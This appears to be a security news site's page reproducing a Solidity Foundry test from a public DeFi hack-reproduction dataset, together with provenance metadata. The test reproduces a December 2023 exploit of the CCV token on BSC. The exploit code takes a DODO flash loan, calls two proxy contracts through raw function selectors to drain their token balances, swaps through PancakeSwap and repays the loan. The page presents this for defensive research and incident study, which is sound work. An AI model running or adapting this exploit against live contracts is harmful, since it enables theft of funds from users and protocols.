Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/CCV_exp.sol

Public reproduction file for dataset entry CCV.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/CCV_exp.sol77 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~3200 $BUSD
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0xb2f22296661ccc5530ebdbabb8264b82e977504d
7// Vulnerable Contract : https://bscscan.com/address/0x37177ccc66ef919894cef37596bbebd76e7a40b2
8// Attack Tx : https://bscscan.com/tx/0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IPorxy3717 {}
15interface IPorxye38d {}
17interface IDPPAdvanced {
18 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
21contract ContractTest is Test {
22 IERC20 CCV = IERC20(0x89c27D81941708dBC9AA4d905443392cb4A8EF73);
23 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
24 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25 IPorxy3717 proxy3717 = IPorxy3717(0x37177ccC66ef919894CeF37596BBebd76E7A40B2);
26 IPorxye38d proxye38d = IPorxye38d(0xE38d7ff85bB801D35382eeF15eB8263F2c751ecd);
27 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28 IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
30 function setUp() public {
31 vm.createSelectFork("bsc", 34_739_874 - 1);
32 vm.label(address(proxy3717), "proxy3717");
33 vm.label(address(proxye38d), "proxye38d");
34 }
36 function testExploit() public {
37 BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
38 emit log_named_uint("Attacker BUSD balance before attack:", BUSD.balanceOf(address(this)));
39 CCV.approve(address(Router), type(uint256).max);
40 BUSD.approve(address(Router), type(uint256).max);
41 DODO.flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));
42 emit log_named_uint("Attacker BUSD balance before attack:", BUSD.balanceOf(address(this)));
43 }
45 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
46 require(msg.sender == address(DODO), "Fail");
47 (bool success1,) =
48 address(proxy3717).call(abi.encodeWithSelector(bytes4(0x369baafe), CCV.balanceOf(address(proxy3717))));
49 BUSDTOTOKEN();
50 (bool success2,) =
51 address(proxye38d).call(abi.encodeWithSelector(bytes4(0xb7da6a49), BUSD.balanceOf(address(proxye38d))));
52 TOKENTOBUSD();
54 BUSD.transfer(address(DODO), 100_000 * 1e18);
55 }
57 function BUSDTOTOKEN() internal {
58 address[] memory path = new address[](2);
59 path[0] = address(BUSD);
60 path[1] = address(CCV);
61 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
62 100_000 * 1e18, 0, path, address(this), block.timestamp
63 );
64 }
66 function TOKENTOBUSD() internal {
67 address[] memory path = new address[](2);
68 path[0] = address(CCV);
69 path[1] = address(BUSD);
70 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
71 CCV.balanceOf(address(this)), 0, path, address(this), block.timestamp
72 );
73 }
75 fallback() external payable {}
76 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “CCV” (2023-12-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x835b45d38cbdccf99e609436ff38e31ac05bc502

  • Attack Contract

    0xb2f22296661ccc5530ebdbabb8264b82e977504d

  • Vulnerable Contract

    0x37177ccc66ef919894cef37596bbebd76e7a40b2

  • Attack Tx

    0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4

File record

Name
CCV
Path
src/test/2023-12/CCV_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1564061fca1a1daedc9e47f13fca2959a0607016
Language
Solidity
Size
78 lines
Date
2023-12-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/CCV_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1564061fca1a1daedc9e47f13fca2959a0607016, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.